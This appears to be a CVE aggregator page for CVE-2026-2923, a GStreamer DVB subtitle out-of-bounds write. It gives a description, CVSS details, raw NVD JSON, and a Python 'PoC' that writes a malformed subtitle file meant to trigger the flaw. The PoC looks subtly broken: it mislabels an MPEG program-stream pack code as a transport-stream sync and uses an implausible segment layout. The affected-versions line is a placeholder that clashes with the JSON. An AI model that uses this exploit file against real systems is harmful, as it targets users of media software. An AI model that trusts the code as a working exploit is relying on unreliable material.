Security Vulnerability Report
中文
CVE-2026-2923 CVSS 7.8 HIGH

CVE-2026-2923

Published: 2026-03-16 14:19:33
Last Modified: 2026-03-17 18:59:35

Description

GStreamer DVB Subtitles Out-Of-Bounds Write Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GStreamer. Interaction with this library is required to exploit this vulnerability but attack vectors may vary depending on the implementation. The specific flaw exists within the handling of coordinates. The issue results from the lack of proper validation of user-supplied data, which can result in a write past the end of an allocated buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-28838.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:gstreamer:gstreamer:*:*:*:*:*:*:*:* - VULNERABLE
GStreamer < 1.x.x (需查看官方修复版本)
GStreamer插件模块受影响的特定版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2026-2923 PoC - Malformed DVB Subtitle Data Generator # This PoC generates a malicious DVB subtitle stream that can trigger # an out-of-bounds write in GStreamer's subtitle parsing module import struct def generate_malformed_dvb_subtitle(): """ Generate a malformed DVB subtitle packet with invalid coordinates to trigger out-of-bounds write vulnerability in GStreamer """ # DVB subtitle segment header data_sync = b'\x00\x00\x01\xba' # MPEG-TS sync # Subtitle descriptor with malformed coordinates # Setting extreme coordinate values that exceed buffer bounds subtitle_segment = bytearray() # Segment type: DVB subtitle (0x06) subtitle_segment.append(0x06) # Page ID (arbitrary) subtitle_segment.extend(struct.pack('>H', 0x0001)) # Segment length subtitle_segment.extend(struct.pack('>H', 0x00FF)) # Malformed region composition with invalid coordinates # Using values that will cause integer overflow or buffer overflow malformed_coords = bytearray() # Region horizontal position (excessive value) malformed_coords.extend(struct.pack('>H', 0xFFFF)) # Region vertical position (excessive value) malformed_coords.extend(struct.pack('>H', 0xFFFF)) # Region width (excessive value) malformed_coords.extend(struct.pack('>H', 0x7FFF)) # Region height (excessive value) malformed_coords.extend(struct.pack('>H', 0x7FFF)) subtitle_segment.extend(malformed_coords) # Fill remaining bytes to reach segment length padding = b'\xFF' * (0x00FF - len(malformed_coords)) subtitle_segment.extend(padding) return data_sync + subtitle_segment def create_exploit_file(output_path): """Create the malicious DVB subtitle file""" malicious_data = generate_malformed_dvb_subtitle() with open(output_path, 'wb') as f: f.write(malicious_data) print(f"[!] Malicious DVB subtitle file created: {output_path}") print(f"[!] File size: {len(malicious_data)} bytes") print("[*] To trigger the vulnerability, process this file with GStreamer") if __name__ == "__main__": create_exploit_file("malformed_dvb_subtitle.bin") print("\n[*] Note: This PoC demonstrates the vulnerability concept.") print("[*] Actual exploitation requires specific GStreamer version and context.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-2923", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:19:33.013", "lastModified": "2026-03-17T18:59:35.180", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GStreamer DVB Subtitles Out-Of-Bounds Write Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GStreamer. Interaction with this library is required to exploit this vulnerability but attack vectors may vary depending on the implementation.\n\nThe specific flaw exists within the handling of coordinates. The issue results from the lack of proper validation of user-supplied data, which can result in a write past the end of an allocated buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-28838."}, {"lang": "es", "value": "Vulnerabilidad de ejecución remota de código por escritura fuera de límites en los subtítulos DVB de GStreamer. Esta vulnerabilidad permite a atacantes remotos ejecutar código arbitrario en instalaciones afectadas de GStreamer. Se requiere interacción con esta biblioteca para explotar esta vulnerabilidad, pero los vectores de ataque pueden variar dependiendo de la implementación.\n\nLa falla específica reside en el manejo de coordenadas. El problema se debe a la falta de validación adecuada de los datos proporcionados por el usuario, lo que puede resultar en una escritura más allá del final de un búfer asignado. Un atacante puede aprovechar esta vulnerabilidad para ejecutar código en el contexto del proceso actual. Fue ZDI-CAN-28838."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gstreamer:gstreamer:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.28.1", "matchCriteriaId": "1F1B75B8-0527-487E-8F53-A658F7A1E7A5"}]}]}], "references": [{"url": "https://gitlab.freedesktop.org/gstreamer/gstreamer/-/commit/3b8253f447bcc9831dbf643d2c69b205fedbe086", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}, {"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-161/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}